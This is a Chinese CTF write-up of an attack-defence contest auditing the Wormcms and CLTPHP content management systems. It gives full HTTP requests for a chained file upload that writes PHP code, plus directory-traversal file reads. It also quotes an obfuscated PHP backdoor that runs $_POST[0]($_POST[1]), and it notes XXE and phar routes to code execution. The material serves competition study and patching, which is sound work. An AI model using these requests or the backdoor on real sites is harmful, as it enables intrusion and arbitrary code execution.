绿盟杯awd总结

这次比赛侥幸拿到第二,这里记录下赛后的一些复现和思考。

前言

awd的话,其实个人的理解主要是两块,审计和形成exp。其中审计的速度决定了修题的速度,快速形成exp决定了收割的速度。当然,适当的准备是必不可少的(比如提交脚本),但是如果准备过于复杂的脚本或者工具,的确可能会在比赛中造成一些麻烦。

这轮两个web题一个是tp6,一个是tp5,其中tp5的版本是5.1.40,不在rce的版本内,另外一个是6.0.7,没有直接看到外部传参到session中的情况,那基本上就是挖day的情况。

tp的路由和laravel相比,更加灵活,只要存在于控制器中public的方法,都能被调用到,基本上是/index.php/module/controller/action这样的方式去调用。

拿到题目有几个事情是需要做的。首先是修改ssh的密码,然后是备份数据库和web目录下的文件,上一些文件监控和waf,最后记得修改数据库中管理员账号的密码,可能存在默认口令的情况。

拿到源码先无脑d盾看下,然后再审,大概率都会有一两个后门,一般第一轮都可以借个漏。

web2

Wormcms,在api/controller/upload.php中貌似修了最新版的几个洞,比如把几个能直接传文件的路由给换成了protected。

image-20211206000311971

目录穿越漏洞

仔细研究他的上传逻辑,发现了一些问题。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public function index(cxModel $cxmodel){
$data = Common::data_trim(input('post.'));
if($cxmodel->checkFilename($data)){
return $this->error("上传失败");
}
// 合并文件
if(!empty($data['flieSet']) && $data['flieSet'] == 'end'){
$set_file = $cxmodel->pushFiles($data);
...

}
$files = $this->request->file();
//上传文件
$set_file = $cxmodel->setBig($v,$data);
return $this->success("上传成功",'',$set_file);

他的checkfile函数校验文件名和文件后缀均使用黑名单。

1
2
3
4
5
public function checkFilename($data){
if(preg_match('/h|user|ini|php/', $data['prefix'])||preg_match('/h|user|ini|php/', $data['md5'])){
return true;
}
}

而setBig函数中,直接拼接了md5(文件名)和prefix(后缀名)。

image-20211206001033046

文件名并没有考虑限制到跨目录的情况,而后缀名是可以为空的,这里其实是可以通过跨目录写文件完成session伪造的利用。

合并文件处的文件上传漏洞

这里的逻辑有点问题,直接取了name被.分割后的第一部分作为后缀名,然后以添加模式打开目标文件。文件的内容来自不受任何过滤的file_list,因此结合普通的上传,意味着可以将任意内容写入xxx.php文件中。这里的利用思路可以是这样的,首先上传任意文件到服务器中,然后再利用该漏洞读取先前上传的文件,并将文件内容写入xxx.php中,完成利用。

image-20211206001656795

文件上传利用

  • 上传txt文件,文件内容中包含恶意内容
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
POST /index.php/api/upload/index HTTP/1.1
User-Agent: PostmanRuntime/7.28.4
Accept: */*
Postman-Token: da3a6f25-b27c-49ee-b904-6b892cec39ba
Host: www.wormcms.com
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=--------------------------068186580283755634911962
Content-Length: 456

----------------------------068186580283755634911962
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: image/png

<?php echo(file_get_contents("/flag.txt"));?>
----------------------------068186580283755634911962
Content-Disposition: form-data; name="prefix"

txt
----------------------------068186580283755634911962
Content-Disposition: form-data; name="md5"

txt
----------------------------068186580283755634911962--
  • 利用合并功能将前面上传的文件内容写到我们控制的位置,这里文件名为md5+name后面的后缀名
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
POST /index.php/api/upload/index HTTP/1.1
User-Agent: PostmanRuntime/7.28.4
Accept: */*
Postman-Token: da3a6f25-b27c-49ee-b904-6b892cec39ba
Host: www.wormcms.com
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=--------------------------068186580283755634911962
Content-Length: 903

----------------------------068186580283755634911962
Content-Disposition: form-data; name="file"; filename="1.phtml"
Content-Type: image/png

<?php var_dump(12312);?>
----------------------------068186580283755634911962
Content-Disposition: form-data; name="prefix"

p
----------------------------068186580283755634911962
Content-Disposition: form-data; name="name"

index.php
----------------------------068186580283755634911962
Content-Disposition: form-data; name="flieSet"

end
----------------------------068186580283755634911962
Content-Disposition: form-data; name="file_list[]"

txt.txt
----------------------------068186580283755634911962
Content-Disposition: form-data; name="file_list[]"

txt.txt
----------------------------068186580283755634911962
Content-Disposition: form-data; name="md5"

asdasdasdasd
----------------------------068186580283755634911962--

后台任意文件读取

admin/controller/label.php中存在任意文件读取的漏洞,read_file函数的逻辑和file_get_contents基本一致。

image-20211206003012742

image-20211207191551278

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /index.php/admin/label/getView.html HTTP/1.1
Host: www.wormcms1.com
Content-Length: 59
Cache-Control: max-age=0
Origin: http://www.wormcms1.com
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://www.wormcms1.com/index.php/admin/label/getView.html
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8,ja;q=0.7
Cookie: WORMCMS=0080915d28d295d9288262bbfc44b1c5
Connection: close

data=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fflag

web3

cltphp cms。

xxe

这个洞我比赛时候没用过,不过我们队修了。

wechat/controller/Wechat.php的getMessage方法,理论上来说libxml版本够小是可以读文件或者触发phar协议来rce。

image-20211206210337620

任意文件读取

home/controller/index.php,直接跨目录读文件。

image-20211206004520860

image-20211206210634378

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /index.php/home/Index/downloadsource.html HTTP/1.1
Host: www.cltphp.cn
Content-Length: 70
Pragma: no-cache
Cache-Control: no-cache
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36
Origin: http://192.168.10.221
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.10.221/index.php/home/Index/downloadsource.html
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8,ja;q=0.7
Cookie: PHPSESSID=gn6b5jktmk0th5vrr547c5ru4d
Connection: close

file=%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fflag&type=js

后门

Install/config.php

1
2
3
4
5
6
7
8
9
<?php
@$_++;
$__=("#"^"|");
$__.=("."^"~");
$__.=("/"^"`");
$__.=("|"^"/");
$__.=("{"^"/");
${$__}[!$_](${$__}[$_]);
?>
1
$_POST[0]($_POST[1]);

后台template 任意文件读取

admin/controll/template.php基本每个方法都有问题,基本就是没限制跨目录,也没限制后缀名,这里就拿edit方法举例,不过模板这里

image-20211206201328028

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /index.php/admin/template/edit.html HTTP/1.1
Host: www.cltphp.cn
Content-Length: 73
Accept: */*
DNT: 1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://www.cltphp.cn
Referer: http://www.cltphp.cn/index.php/admin/template/add.html
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8,ja;q=0.7
Cookie: skin=0; PHPSESSID=9gj0jp99am4hreq788e5jcs9oi
Connection: close

type=html&file=../../../../../../../../../../../../../../../../../../flag

phar触发点

admin/controller/Link.php的Exi方法,file_exists前缀可控,因此可以用于触发phar文件从而导致代码执行。

image-20211206214106667

image-20211206214125628

小结

其实这两个cms的问题还都有不少,比赛的时候因为时间的原因,或是没打出来,或是只挑选了比较好利用的洞。但现在看来,能直接利用的还是有不少。比较需要反思的一个点是web2的修复不完全,没有考虑到目录穿越到session伪造的思路,而web3虽然修了后台默认密码,但是没有考虑去利用这点导致失了很多分。